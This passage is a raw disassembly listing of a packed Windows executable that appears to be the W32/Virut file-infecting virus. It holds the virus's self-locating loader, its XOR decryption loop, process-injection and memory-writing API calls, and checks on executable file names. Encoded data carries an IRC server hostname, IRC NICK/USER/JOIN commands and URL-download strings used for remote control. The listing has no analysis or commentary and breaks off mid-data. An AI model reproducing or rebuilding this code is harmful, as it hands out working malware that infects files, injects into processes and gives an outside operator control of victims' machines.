jnb short loc_4FA7B0 jnz short loc_4FA7FA stosb jmp short loc_4FA792 ; --------------------------------------------------------------------------- loc_4FA7BE: ; CODE XREF: .RLPack:004FA7A0j call sub_4FA810 sub ecx, ebx jnz short loc_4FA7D7 call sub_4FA80E jmp short loc_4FA7F6 ; --------------------------------------------------------------------------- loc_4FA7CE: ; CODE XREF: .RLPack:004FA7A9j lodsb shr eax, 1 jz short loc_4FA820 adc ecx, ecx jmp short loc_4FA7F3 ; --------------------------------------------------------------------------- loc_4FA7D7: ; CODE XREF: .RLPack:004FA7C5j xchg eax, ecx dec eax shl eax, 8 lodsb call sub_4FA80E cmp eax, 7D00h jnb short loc_4FA7F3 cmp ah, 5 jnb short loc_4FA7F4 cmp eax, 7Fh ja short loc_4FA7F5 loc_4FA7F3: ; CODE XREF: .RLPack:004FA7D5j ; .RLPack:004FA7E7j inc ecx loc_4FA7F4: ; CODE XREF: .RLPack:004FA7ECj inc ecx loc_4FA7F5: ; CODE XREF: .RLPack:004FA7F1j xchg eax, ebp loc_4FA7F6: ; CODE XREF: .RLPack:004FA7CCj mov eax, ebp mov bl, 1 loc_4FA7FA: ; CODE XREF: .RLPack:004FA7B9j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_4FA792 ; =============== S U B R O U T I N E ======================================= sub_4FA804 proc near ; CODE XREF: .RLPack:loc_4FA792p ; .RLPack:004FA79Bp ... add dl, dl jnz short locret_4FA80D mov dl, [esi] inc esi adc dl, dl locret_4FA80D: ; CODE XREF: sub_4FA804+2j retn sub_4FA804 endp ; =============== S U B R O U T I N E ======================================= sub_4FA80E proc near ; CODE XREF: .RLPack:004FA7C7p ; .RLPack:004FA7DDp xor ecx, ecx sub_4FA80E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FA810 proc near ; CODE XREF: .RLPack:loc_4FA7BEp inc ecx loc_4FA811: ; CODE XREF: sub_4FA810+Dj call sub_4FA804 adc ecx, ecx call sub_4FA804 jb short loc_4FA811 retn sub_4FA810 endp ; --------------------------------------------------------------------------- loc_4FA820: ; CODE XREF: .RLPack:004FA7D1j sub edi, [esp+28h] mov [esp+1Ch], edi popa retn ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dd 0A8520000h, 0A85F000Fh, 0Fh, 4 dup(0) dd 656B0000h, 6C656E72h, 642E3233h, 0D8006C6Ch, 0FD77E805h dd 0A77E7A5h, 3477E798h, 9A77E79Eh, 77E616h, 0 dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 69560000h dd 61757472h, 6F72506Ch, 74636574h, 10000000h, 80000h dd 200000h, 0 dd 2 dup(40h), 0 dd 10000000h, 5C000000h, 110002h, 0 dd 76477E6h, 2 dup(33h), 1000000Eh, 27E30000h, 7000000Fh dd 31860002h, 9000000Fh, 0A4780002h, 0E000000Fh, 0Dh, 0E570000h dd 335F3253h, 6C642E63h, 454B008Fh, 4CE64E52h, 10E0DA6h dd 190271C4h, 6FC8413Ah, 656B1D63h, 738F874h, 0F803270h dd 0F12F0C09h, 15447322h, 1202890Ah, 4801240Dh, 2209910Bh dd 3104404h, 13121789h, 97481224h, 6660691h, 46006E70h dd 43646E69h, 70736F6Ch, 0C8536665h, 4F371845h, 1AFC2466h dd 42731949h, 0FF6F3061h, 727450D0h, 527B0DA4h, 610D08D0h dd 686E554Fh, 4C546EF3h, 63784563h, 69F970F3h, 6977F76Fh dd 473890FFh, 0A4465336h, 7954670Fh, 0F57EA70h, 46C000D2h dd 5073756Ch, 0F0425E68h, 5CBEE366h, 408A4B51h, 0A04C4864h dd 0D1C822Dh, 190E722Bh, 480A4D68h, 0FD751D8Fh, 0A7001CD1h dd 0CF726976h, 0E95F6DEAh, 57738A60h, 0E6DD7417h, 2EA5FEFEh dd 827418C8h, 81DA35A3h, 614D434Ch, 57274870h, 66310DA7h dd 19BD6548h, 78A87A28h, 0F973EC52h, 9108385Dh, 284DFC4Fh dd 52095043h, 0C600741h, 6F666E49h, 57194F93h, 5D23747Ch dd 0F2855628h, 6C611C75h, 0E7C8B941h, 9F420D46h, 4496D970h dd 0A0A14650h, 4DC87351h, 0F3105DA2h, 76D03A79h, 5841CA1Ah dd 0A80D4D12h, 3E483275h, 0CF61514Eh, 79531310h, 1B48DF73h dd 63FB9E44h, 0DCAF6FE3h, 3AD05328h, 193C4399h, 640F6854h dd 7DF344C1h, 2437AB28h, 15764F3Eh, 0AA906D6Eh, 4699758Fh dd 497F586Eh, 4C146450h, 45A66166h, 8C9CDB2Eh, 487970A1h dd 0B5935337h, 0D92F63Ch, 9A756234h, 132F9024h, 0C246A346h dd 86572264h, 92C94A2Bh, 1E412C53h, 6A622A4Fh, 649B8EA5h dd 3178654Dh, 0F6316954h, 41EAF259h, 54A16D80h, 201DC8B8h dd 507033DCh, 54656824h, 0C37376B2h, 0E938D64Ch, 0B972E69Dh dd 0BDA17921h, 0FE64B83Ch, 6D3FD3A5h, 45FEBB66h, 6360B323h dd 92A470DEh, 35560F89h, 1FB85592h, 687AA476h, 0A4C666Ch dd 2E43C0C9h, 0E5B5AACh, 0DB34B2EEh, 8F913A86h, 21923615h dd 7AD51EDEh, 8F41E22Fh, 0C0704AF4h, 742BCC23h, 0F6C83C23h dd 4210E23Dh, 0AFE2AF79h, 3E640D57h, 65448521h, 8B3370C9h dd 0A6562A49h, 0DC010951h, 42CF736Eh, 8C4CC366h, 29706913h dd 4B00590Ch, 81C85227h, 6C707544h, 0CE22CDB4h, 92D85762h dd 0B3694B28h, 0D5722873h, 0D47596AEh, 44CD1126h, 410F0EB4h dd 4CE82365h, 957DAA6h, 436533ACh, 57941519h, 32960FD1h dd 0D2424E5Fh, 0E8B134Ch, 0FE680851h, 508D3E6Dh, 90AC2E6Fh dd 20256A5Ah, 0EA65FDE1h, 0B55AF7FFh, 2C2913CFh, 9970234Ch dd 46D24A2Eh, 0A28A3A6Eh, 452A3216h, 51E0DB76h, 79307563h dd 66082950h, 636E0BBBh, 904736B3h, 644DD318h, 12932671h dd 190C2D79h, 277B35B1h, 0F1545946h, 36076156h, 5758D662h dd 0A334D3F3h, 0B9660913h, 2055A556h, 48C89914h, 294EA474h dd 921FA1CCh, 5331134Dh, 63A33990h, 37675612h, 67643F4Dh dd 0A49A9DC9h, 8CC37A62h, 0D6BB329h, 6C0B4C94h, 0C4704C24h dd 0A67765B6h, 0E4D29A5h, 0D20C1CE9h, 67714931h, 0D9866116h dd 0D00C4752h, 5E702493h, 915E01AEh, 24C84A7Fh, 8A875B94h dd 637206A8h, 791A46Dh, 42491CA6h, 0BC654518h, 996BF67Ah dd 644BCA90h, 44DBC867h, 4076A2CDh, 0F519BE1Dh, 24A0CAA0h dd 6A357375h, 3C372B11h, 4DE7742Ah, 0F35C1677h, 422CF0DBh dd 6A5A9270h, 0AEAAA9B2h, 0A22C9FD4h, 90979FD2h, 1544CF41h dd 796F15ADh, 7011560Ch, 80E1h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= public start start proc near var_C = dword ptr -0Ch var_4 = dword ptr -4 call $+5 push ebp mov ebx, [esp+8] mov ebp, [esp+8+var_4] sub [esp+8+var_4], 84Ch and ebx, 0FFFFF000h sub ebp, offset loc_401005 loc_4FACF9: ; CODE XREF: start+3Dj cmp dword ptr [ebx+4Eh], 73696854h jnz short loc_4FAD0E mov eax, [ebx+3Ch] add eax, ebx cmp word ptr [eax], 4550h jz short loc_4FAD16 loc_4FAD0E: ; CODE XREF: start+29j sub ebx, 100h jmp short loc_4FACF9 ; --------------------------------------------------------------------------- loc_4FAD16: ; CODE XREF: start+35j mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_4FAD24: ; CODE XREF: start:loc_4FAD4Bj lodsd add eax, ebx cmp dword ptr [eax-1], 74654700h jnz short loc_4FAD4B cmp dword ptr [eax+3], 636F7250h jnz short loc_4FAD4B cmp dword ptr [eax+7], 72646441h jnz short loc_4FAD4B cmp dword ptr [eax+0Bh], 737365h jz short loc_4FAD50 loc_4FAD4B: ; CODE XREF: start+57j start+60j ... loop loc_4FAD24 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4FAD50: ; CODE XREF: start+72j sub [esp+0Ch+var_C], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx call near ptr loc_4FAD76+2 inc ebx insb outsd jnb short near ptr loc_4FADD4+2 dec eax popa outsb db 64h insb loc_4FAD76: ; CODE XREF: start+90p add gs:[ebx-1], dl start endp ; sp-analysis failed setalc mov [ebp+402407h], eax call near ptr loc_4FAD92+1 inc ebx jb short loc_4FADEE popa jz short loc_4FADF1 inc ebp jbe short near ptr loc_4FADF3+1 outsb jz short near ptr loc_4FADD1+2 loc_4FAD92: ; CODE XREF: .RLPack:004FAD81p add [ebx-1], dl setalc mov [ebp+40240Bh], eax call sub_4FADAE inc edi db 65h jz short loc_4FADF1 popa jnb short sub_4FAE1C inc ebp jb short near ptr sub_4FAE1C+1 outsd jb short $+2 ; =============== S U B R O U T I N E ======================================= sub_4FADAE proc near ; CODE XREF: .RLPack:004FAD9Cp ; FUNCTION CHUNK AT 004FAE2C SIZE 0000008D BYTES ; FUNCTION CHUNK AT 004FAF48 SIZE 000000DD BYTES push ebx call esi mov [ebp+40240Fh], eax call sub_4FAE01 test eax, eax jz short loc_4FADE1 push eax call dword ptr [ebp+40240Fh] test eax, eax jnz short loc_4FADDB lea eax, [ebp+401155h] loc_4FADD1: ; CODE XREF: .RLPack:004FAD90j mov dl, [eax-1] loc_4FADD4: ; CODE XREF: start+98j call sub_4FAE1C jmp short loc_4FAE2C ; --------------------------------------------------------------------------- loc_4FADDB: ; CODE XREF: sub_4FADAE+1Bj ; sub_4FADAE+E7j ... call dword ptr [ebp+402407h] loc_4FADE1: ; CODE XREF: sub_4FADAE+10j pop ebp retn sub_4FADAE endp ; --------------------------------------------------------------------------- loc_4FADE3: ; CODE XREF: sub_4FAE01+2p ; sub_4FADAE:loc_4FAFB8p pop edx push 0 push 0 push 0 push 0 ; --------------------------------------------------------------------------- db 68h, 1 ; --------------------------------------------------------------------------- loc_4FADEE: ; CODE XREF: .RLPack:004FAD87j add [eax+eax], al loc_4FADF1: ; CODE XREF: .RLPack:004FAD8Aj ; .RLPack:004FADA2j mov eax, esp loc_4FADF3: ; CODE XREF: .RLPack:004FAD8Dj push 0 push eax push 0Ch mov eax, esp jmp edx ; --------------------------------------------------------------------------- push esi push esp pop edi xor eax, [eax] ; =============== S U B R O U T I N E ======================================= sub_4FAE01 proc near ; CODE XREF: sub_4FADAE+9p xor ecx, ecx call loc_4FADE3 lea edx, [ebp+401125h] push edx push ecx push ecx push eax call dword ptr [ebp+40240Bh] add esp, 20h retn sub_4FAE01 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FAE1C proc near ; CODE XREF: .RLPack:004FADA6j ; sub_4FADAE:loc_4FADD4p ... mov dh, dl mov ecx, 12B2h loc_4FAE23: ; CODE XREF: sub_4FAE1C+Cj xor [eax], dl inc eax add dl, dh loop loc_4FAE23 retn sub_4FAE1C endp ; --------------------------------------------------------------------------- db 0BFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FADAE loc_4FAE2C: ; CODE XREF: sub_4FADAE+2Bj and dword ptr [ebp+401480h], 0 and dword ptr [ebp+401484h], 0 and dword ptr ss:loc_401488[ebp], 0 push edi mov byte ptr [ebp+401262h], 1 mov dword ptr ss:loc_402413[ebp], esi lea esi, loc_4014A9[ebp] xor ecx, ecx lea edi, loc_402423[ebp] mov cl, 1Ch call sub_4FB163 pop edi call dword ptr [ebp+40245Bh] shr eax, 1Fh jz loc_4FAF48 mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+40241Bh], eax push 5839h push 0 call dword ptr [ebp+40248Bh] test eax, eax jz loc_4FADDB xchg eax, edi lea esi, sub_401000[ebp] mov ebp, edi mov ecx, 60Fh sub ebp, offset sub_401000 lea edx, loc_4011E2[ebp] rep movsd jmp edx ; END OF FUNCTION CHUNK FOR sub_4FADAE ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+4018D1h] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+40241Bh] add esp, 20h test eax, eax jz loc_4FADDB xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+40241Bh] test eax, eax jz loc_4FADDB push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+40241Bh] push 1000Ah call dword ptr [ebp+40241Bh] call sub_4FAF38 jmp loc_4FADDB ; =============== S U B R O U T I N E ======================================= sub_4FAF38 proc near ; CODE XREF: .RLPack:004FAF2Ep ; sub_4FAF38+Dj push 1 pop ecx jecxz short locret_4FAF47 push 0Ah call dword ptr [ebp+402483h] jmp short sub_4FAF38 ; --------------------------------------------------------------------------- locret_4FAF47: ; CODE XREF: sub_4FAF38+3j retn sub_4FAF38 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4FADAE loc_4FAF48: ; CODE XREF: sub_4FADAE+C0j cmp dword ptr [ebp+40243Bh], 0 jz loc_4FADDB call near ptr loc_4FAF5F+1 dec esi push esp inc esp dec esp dec esp loc_4FAF5F: ; CODE XREF: sub_4FADAE+1A7p add bh, bh xchg eax, ebp dec edi and al, 40h add [ebp+401637B5h], cl add [ebx], dh leave lea edi, loc_402493[ebp] mov cl, 9 xchg eax, ebx call sub_4FB163 cmp dword ptr [ebp+4024B3h], 0 jz loc_4FADDB mov eax, [ebp+402497h] push dword ptr [eax+1] pop dword ptr [ebp+4023C1h] mov eax, [ebp+40249Bh] push dword ptr [eax+1] pop dword ptr [ebp+4023C7h] mov ecx, [ebp+40249Fh] jecxz short loc_4FAFB8 push dword ptr [ecx+1] pop dword ptr [ebp+4023D4h] loc_4FAFB8: ; CODE XREF: sub_4FADAE+1FFj call loc_4FADE3 lea edx, [ebp+40149Fh] push edx push 5839h push 0 push 4 push eax push 0FFFFFFFFh call dword ptr ss:loc_40242B[ebp] add esp, 20h push 5839h mov edx, esp push 0 mov ecx, esp push 4 push 0 push 2 push edx push 0 push 5839h push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+4024A3h] pop edi pop ecx test edi, edi jz loc_4FADDB lea esi, sub_401000[ebp] mov ecx, 60Fh mov ebp, edi rep movsd sub ebp, offset sub_401000 lea eax, loc_40134E[ebp] jmp eax ; END OF FUNCTION CHUNK FOR sub_4FADAE ; --------------------------------------------------------------------------- db 8Dh, 95h, 89h db 17h db 40h, 0, 52h db 0FFh db 95h, 63h, 24h db 40h ; @ align 2 dw 16E8h db 0 db 2 dup(0), 4Ch aOokupprivilege db 'ookupPrivilegeValueA',0 db 50h, 0FFh, 95h dd offset loc_402413 dd 24178589h, 54500040h, 0FF6A206Ah, 24A795FFh, 0C0850040h dd 963F755Fh, 5656026Ah, 16AD48Bh, 11E852h, 65530000h dd 75626544h, 69725067h, 656C6976h, 56006567h, 241795FFh dd 0C48B0040h, 50565656h, 95FF5756h, 402493h, 5710C483h dd 240795FFh, 6A0040h, 95FF026Ah, 40243Bh, 128B9h, 0E12B9700h dd 54240C89h, 7395FF57h, 33004024h, 0F7A583F6h, 4024h dd 95FF5754h, 402477h, 5C74C085h, 4FE8346h, 74FFEE72h dd 6A0824h, 95FF2A6Ah, 40246Fh, 0DC74C085h, 3E4E893h, 0C9330000h dd 3930E391h, 4024F785h, 81287500h, 0C3EC1h, 50545000h dd 50505156h, 3395FF53h, 85004024h, 0F7459C0h, 82474FFh dd 24F7858Fh, 9E80040h, 53FFFFFEh, 240795FFh, 98EB0040h dd 128C481h, 0FF570000h, 40240795h, 0FC91E900h, 5890FFFFh dd 39005858h, 0F4000018h, 0Bh, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4FB163 proc near ; CODE XREF: sub_4FADAE+B1p ; sub_4FADAE+1C9p ... push ecx push esi push ebx call dword ptr ss:loc_402413[ebp] stosd pop ecx loc_4FB16E: ; CODE XREF: sub_4FB163+Ej lodsb test al, al jnz short loc_4FB16E loop sub_4FB163 retn sub_4FB163 endp ; --------------------------------------------------------------------------- aW32_virtu db 'W32_Virtu',0 aLstrlen db 'lstrlen',0 aCreatefilea db 'CreateFileA',0 aCreatefilemapp db 'CreateFileMappingA',0 aCreateprocessa db 'CreateProcessA',0 aCreateremoteth db 'CreateRemoteThread',0 aCreatethread db 'CreateThread',0 aCreatetoolhe_0 db 'CreateToolhelp32Snapshot',0 aExitthread db 'ExitThread',0 aGetfileattribu db 'GetFileAttributesA',0 aGetfilesize db 'GetFileSize',0 aGetfiletime db 'GetFileTime',0 aGetmodulehandl db 'GetModuleHandleA',0 aGettempfilenam db 'GetTempFileNameA',0 aGettemppatha db 'GetTempPathA',0 aGetversion db 'GetVersion',0 aGetversionexa db 'GetVersionExA',0 aLoadlibrarya db 'LoadLibraryA',0 aMapviewoffile db 'MapViewOfFile',0 aOpenfilemappin db 'OpenFileMappingA',0 aOpenprocess db 'OpenProcess',0 aProcess32fir_0 db 'Process32First',0 aProcess32nex_0 db 'Process32Next',0 aSetfileattribu db 'SetFileAttributesA',0 aSetfiletime db 'SetFileTime',0 aSleep db 'Sleep',0 aUnmapviewoffil db 'UnmapViewOfFile',0 aVirtualalloc db 'VirtualAlloc',0 aWritefile db 'WriteFile',0 aNtadjustprivil db 'NtAdjustPrivilegesToken',0 aNtcreatefile db 'NtCreateFile',0 aNtcreateproces db 'NtCreateProcess',0 aNtcreateproc_0 db 'NtCreateProcessEx',0 aNtmapviewofsec db 'NtMapViewOfSection',0 aNtopenprocesst db 'NtOpenProcessToken',0 aNtprotectvirtu db 'NtProtectVirtualMemory',0 aNtwritevirtual db 'NtWriteVirtualMemory',0 aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0 aWsastartup_0 db 'WSAStartup',0 aClosesocket_0 db 'closesocket',0 aConnect_0 db 'connect',0 aGethostbynam_0 db 'gethostbyname',0 aRecv_0 db 'recv',0 aSend_1 db 'send',0 aSocket_0 db 'socket',0 aInternetclos_0 db 'InternetCloseHandle',0 aInternetgetc_1 db 'InternetGetConnectedState',0 aInternetopen_0 db 'InternetOpenA',0 aInternetopen_1 db 'InternetOpenUrlA',0 aInternetread_0 db 'InternetReadFile',0 aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 aRegclosekey_0 db 'RegCloseKey',0 aRegopenkeyex_0 db 'RegOpenKeyExA',0 aRegqueryvalu_0 db 'RegQueryValueExA',0 aRegsetvaluee_0 db 'RegSetValueExA',0 ; =============== S U B R O U T I N E ======================================= sub_4FB4A7 proc near ; CODE XREF: sub_4FB4DE+6Cp ; sub_4FB4DE+7Dp ... var_5 = byte ptr -5 sub ecx, 5 sub ecx, eax push ecx push 0E8000000h lea ecx, [esp+8+var_5] push 0 push 5 push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax push esp push 40h push ecx push edx push ebx call dword ptr ss:loc_4024AB[ebp] add esp, 0Ch call dword ptr [ebp+4024AFh] add esp, 8 retn sub_4FB4A7 endp ; =============== S U B R O U T I N E ======================================= sub_4FB4DE proc near ; CODE XREF: .RLPack:004FC0D5p push edi lea eax, [ebp+40149Fh] xor edi, edi push eax push 0 push 6 call dword ptr [ebp+40246Bh] test eax, eax jz short loc_4FB575 push eax push 5839h mov edx, esp push 0 mov ecx, esp push 4 push 100000h push 2 push edx push 0 push 5839h push 0 push ecx push ebx push eax call dword ptr [ebp+4024A3h] pop edi pop ecx call dword ptr [ebp+402407h] test edi, edi jz short loc_4FB575 mov ecx, dword ptr ss:loc_401488[ebp] jecxz short loc_4FB53E lea edx, sub_401000[ebp] add edx, ecx push edi push ebx call edx loc_4FB53E: ; CODE XREF: sub_4FB4DE+52j mov eax, [ebp+402497h] lea ecx, [edi+1379h] call sub_4FB4A7 mov eax, [ebp+40249Bh] lea ecx, [edi+13C6h] call sub_4FB4A7 mov eax, [ebp+40249Fh] test eax, eax jz short loc_4FB575 lea ecx, [edi+13D3h] call sub_4FB4A7 loc_4FB575: ; CODE XREF: sub_4FB4DE+16j ; sub_4FB4DE+4Aj ... mov eax, edi pop edi retn sub_4FB4DE endp ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 4018A8h xor ecx, ecx lea eax, loc_401C3E[ebp] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+402437h] xchg eax, [esp] call dword ptr [ebp+402407h] pop ebp retn 4 ; --------------------------------------------------------------------------- dd 0E855h, 815D0000h, 4018D7EDh, 8DFF6A00h, 4018A295h dd 0CD525000h, 2A002420h, 0CC48300h, 0E885C766h, 0CD004018h dd 0EA85C720h, 24004018h, 5D002A00h, 6A016AC3h, 0FF33FF01h dd 15FF0473h, 0F074C085h, 0B68h, 5BD08B00h, 8D3C5003h dd 401906B5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C783C2EBh, 0D48B570Fh dd 50CC8B53h, 51406A54h, 0FFFF6A52h, 4024AB95h, 0CC48300h dd 243F958Bh, 0D72B0040h, 0C707EA83h, 0E8006A07h, 3578900h dd 19569C3h, 5004025h, 33080884h, 1AB042C0h, 25019589h dd 0E2F70040h, 0AA61428Dh, 0E175C9FEh, 0E855C3h, 5D000000h dd 1998ED81h, 9D8B0040h, 402505h, 8247C83h, 0B9840F00h dd 81000000h, 208ECh, 4685400h, 0FF000001h, 40245795h dd 8DFC8B00h, 1042484h, 6A500000h, 4E800h, 52560000h, 0FF570054h dd 40245395h, 8DC93300h, 10497h, 6A515100h, 16A5102h, 68h dd 95FF5240h, 402427h, 74F68596h, 6854505Bh, 104h, 24B4FF57h dd 220h, 24E395FFh, 85590040h, 0E31674C0h, 0D48B5014h dd 5152006Ah, 95FF5657h, 40248Fh, 75C08559h, 95FF56D0h dd 402407h, 5244578Dh, 58446A57h, 104978Dh, 33AB0000h dd 59106AC0h, 5050ABF3h, 50505050h, 95FF5250h, 40242Fh dd 208C481h, 74FF0000h, 95FF0824h, 4024D3h, 0D395FF53h dd 5D004024h, 800004C2h, 1750A3Eh, 848D8B46h, 0E3004014h dd 958D19h, 3004010h, 0D2FF56D1h, 880FC084h, 11Fh, 110840Fh dd 3E800000h, 4610753Ah, 0F003E80h, 10184h, 203E8000h dd 8146F175h, 4E49503Eh, 8B427547h, 146C6CFh, 51CE2B4Fh dd 5651006Ah, 0CB95FF53h, 59004024h, 850FC13Bh, 0DFh, 1C32858Dh dd 6A0040h, 0C68h, 0FF535000h, 4024CB95h, 0C3D00h, 850F0000h dd 0BFh, 0B1E9h, 503E8100h, 0F564952h, 0A585h, 8C68300h dd 0F0D3CACh, 9984h, 75203C00h, 3A3CACF3h, 8C850Fh, 0DAD0000h dd 20202020h, 6567213Dh, 0AC7F7574h, 7C75203Ch, 20FF7E81h dd 75747468h, 37E8171h, 2F2F3A70h, 47C66875h, 310F00FFh dd 2710BAh, 52E2F700h, 248395FFh, 0C0330040h, 50505050h dd 9E8h, 776F4400h, 616F6C6Eh, 95FF0064h, 4024DBh, 3674C085h dd 8589C933h, 402505h, 2006851h, 51518000h, 95FF5056h dd 4024DFh, 1992958Dh, 33500040h, 505154C9h, 0FF515152h dd 40243795h, 24048700h, 240795FFh, 0C3F80040h, 14778D80h dd 0F9010040h, 464F53C3h, 52415754h, 694D5C45h, 736F7263h dd 5C74666Fh, 646E6957h, 5C73776Fh, 72727543h, 56746E65h dd 69737265h, 455C6E6Fh, 6F6C7078h, 726572h, 71696E55h dd 6F486575h, 2007473h, 7FF0FF00h, 70010000h, 69786F72h dd 692E616Dh, 61676372h, 7978616Ch, 6C702Eh, 4B43494Eh dd 70637220h, 64687277h, 53550A68h, 65205245h, 35303230h dd 2E203130h, 3A202E20h, 494F4A5Fh, 7626204Eh, 75747269h dd 0E8550Ah, 5D000000h, 1C44ED81h, 85C60040h, 401477h dd 5B95FF00h, 0C1004024h, 3C741FE8h, 0B58B1E6Ah, 40241Bh dd 2E3CAC59h, 81662A75h, 751DFF3Eh, 0FBBD8D23h, 8B004024h dd 0A5570276h, 858DA566h, 40234Fh, 2375858Fh, 89FA0040h dd 4E8CFA46h, 1B1FBFEh, 43EBCFE2h, 149F858Dh, 6A500040h dd 0FF066A00h, 40246B95h, 247C8300h, 2B750408h, 4E8h, 43465300h dd 4F95FF00h, 0E8004024h, 0FFFFFC4Ch, 7E8h, 43465300h dd 534F5Fh, 244F95FFh, 35E80040h, 0E8FFFFFCh, 0FFFFF449h dd 12628DFFh, 0BE80040h, 55000000h, 33524553h, 4C442E32h dd 95FF004Ch, 402463h, 0AE8h, 70737700h, 746E6972h, 50004166h dd 241395FFh, 85890040h, 40241Fh, 8D8D310Fh, 401789h, 25018589h dd 0FF510040h, 40246395h, 4689300h, 8D000000h, 401796B5h dd 0BD8D5900h, 4024E7h, 0FFF746E8h, 85C766FFh, 401BF6h dd 0A583F0FFh, 401BF8h, 0B6958D00h, 5000401Bh, 6A016A54h dd 2685200h, 0FF800000h, 4024EB95h, 5AC08500h, 8D8D2275h dd 401BE9h, 8D066A52h, 401BF6B5h, 50565400h, 0FF525150h dd 4024EF95h, 95FF5800h, 4024E7h, 270885C6h, 0E8000040h dd 0Ch, 434F5357h, 2E32334Bh, 4C4C44h, 246395FFh, 68930040h dd 7, 16EDB58Dh, 8D590040h, 4024B7BDh, 0F6C1E800h, 0CE8FFFFh dd 57000000h, 4E494E49h, 442E5445h, 0FF004C4Ch, 40246395h dd 0FC08500h, 1E784h, 5689300h, 8D000000h, 40172BB5h, 0BD8D5900h dd 4024D3h, 0FFF68AE8h, 0D7BD83FFh, 4024h, 1C2840Fh, 0EC810000h dd 190h, 1016854h, 95FF0000h, 4024B7h, 190C481h, 8B500000h dd 52006AD4h, 24D795FFh, 0C0850040h, 680D7559h, 1388h dd 248395FFh, 0E2EB0040h, 1BF8BD83h, 75000040h, 0FC858D29h dd 5000401Bh, 24C395FFh, 0C0850040h, 13B840Fh, 408B0000h dd 0FF008B0Ch, 0F8858F30h, 0C600401Bh, 40270885h, 6A0100h dd 26A016Ah, 24CF95FFh, 0F8830040h, 12840FFFh, 93000001h dd 1BF4958Dh, 106A0040h, 95FF5352h, 4024BFh, 850FC085h dd 0F2h, 1C16BD8Dh, 8B10040h, 0FFFAC0E8h, 9468FFh, 2B5E0000h dd 243489E6h, 5F95FF54h, 8D004024h, 401C24BDh, 0E801B100h dd 0FFFFFAA1h, 1024448Bh, 0B08E0C1h, 0C1042444h, 440B08E0h dd 0E8500824h, 5, 78362E25h, 95FF5700h, 40241Fh, 0C60CC483h dd 8D200647h, 401C1195h, 68006A00h, 21h, 95FF5352h, 4024CBh dd 14247C8Dh, 2395FF57h, 0C6004024h, 400A3804h, 5750006Ah dd 0CB95FF53h, 3004024h, 32BD8DE6h, 6A00401Ch, 0C6800h dd 53570000h, 24CB95FFh, 0C3D0040h, 75000000h, 9B58D4Dh dd 8D004025h, 4027088Dh, 6ACE2B00h, 53565100h, 24C795FFh dd 0F8830040h, 912F7E00h, 0B58DFE8Bh, 402509h, 0AEF20DB0h dd 0E8601075h, 0FFFFFAF7h, 0E3177261h, 1778D09h, 0CF8BEAEBh dd 0BD8DCE2Bh, 402509h, 0F787A4F3h, 0FF53B9EBh, 4024BB95h dd 77BD8000h, 1004014h, 30682A74h, 0FF000075h, 40248395h dd 8BD8000h, 4027h, 85C71174h, 401BF8h, 0 dd 270885C6h, 0E9000040h, 0FFFFFE56h, 148085C7h, 40h, 0C25D8000h dd 0B58D0004h, 402709h, 4395FF56h, 83004024h, 840FFFF8h dd 0BBh, 280D8589h, 6A0040h, 7B95FF56h, 85004024h, 0A4840FC0h dd 2B000000h, 6A5050C0h, 16A5003h, 68h, 95FF56C0h, 402427h dd 0FFFF883h, 2E484h, 11858900h, 8D004028h, 4028158Dh dd 1D958D00h, 51004028h, 50006A52h, 244B95FFh, 0F8830040h dd 0B2840FFFh, 6A000002h, 11B5FF00h, 0FF004028h, 40244795h dd 0FFF88300h, 29B840Fh, 85890000h, 402825h, 0C303C933h dd 6A515051h, 0B5FF5104h, 402811h, 242B95FFh, 0C0850040h dd 277840Fh, 0C9330000h, 28298589h, 51510040h, 1F6851h dd 0FF50000Fh, 40246795h, 0FC08500h, 23084h, 2D858900h dd 0C3004028h, 0B8384B8Bh, 5838h, 0C103D233h, 0E1F7F1F7h dd 28358589h, 4B8B0040h, 1406B83Ch, 0D2330000h, 0F1F7C103h dd 8589E1F7h, 402831h, 4BB70FC3h, 36E3F906h, 0F18538Dh dd 31443B7h, 0C16B49D0h, 81D00328h, 69775F3Ah, 1E74F96Eh dd 0C7A8349h, 8BDF7201h, 428B3C4Bh, 10420314h, 0FF48448Dh dd 0C123D9F7h, 2825853Bh, 59C30040h, 0C24448Bh, 0B88889h dd 0C0330000h, 0EBCF8BC3h, 9BD8D0Bh, 0FC004027h, 0C933DF8Bh dd 72613CACh, 777A3C06h, 0AA202C02h, 0EC745C3Ch, 0DD742E3Ch dd 0E875003Ch, 18BC8E3h, 4558453Dh, 3D0B7400h, 524353h dd 0FF49850Fh, 38BFFFFh, 4E49573Dh, 3C840F43h, 3DFFFFFFh dd 4E554357h, 0FF31840Fh, 573DFFFFh, 0F323343h, 0FFFF2684h dd 53503DFFh, 